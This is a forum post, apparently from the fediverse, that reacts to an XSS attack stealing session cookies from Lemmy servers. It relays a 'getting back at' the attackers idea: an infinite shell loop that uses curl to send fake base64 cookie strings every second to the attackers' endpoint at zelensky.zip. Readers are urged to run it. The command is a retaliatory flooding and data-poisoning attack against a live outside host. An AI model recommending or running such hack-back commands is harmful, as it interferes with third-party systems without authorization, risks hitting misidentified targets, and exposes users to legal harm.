I don't know how people feel about "getting back" at the people compromising servers, but I did find an awesome comment on another post that basically gives you a Terminal command to inject garbage into the "hackers" server, meaning they'd have to sift through garbage to find proper session cookies.
If you don't want to click the comment (don't blame you!), then this is what it says.
Once every second, it grabs your computer name and the current system time, hashes them together to get a completely random string, trims off the shasum control characters and base64 encodes it to make everything look similar to what the attackers would be expecting, and sends it as a request to the same endpoint that their xss attack uses. It’ll run on Linux and macOS (and windows if you have a WSL vm set up!) and uses next to nothing in terms of system resources.
And the code you can run in Terminal on macOS/Linux or Windows (if you have WSL installed):
while true; do curl https://zelensky.zip/save/$(echo $(hostname) $(date) | shasum | sed 's/.\{3\}$//' | base64) > /dev/null ; sleep 1; done
A good place to look (not limited to just Lemmy instances): fedidb.org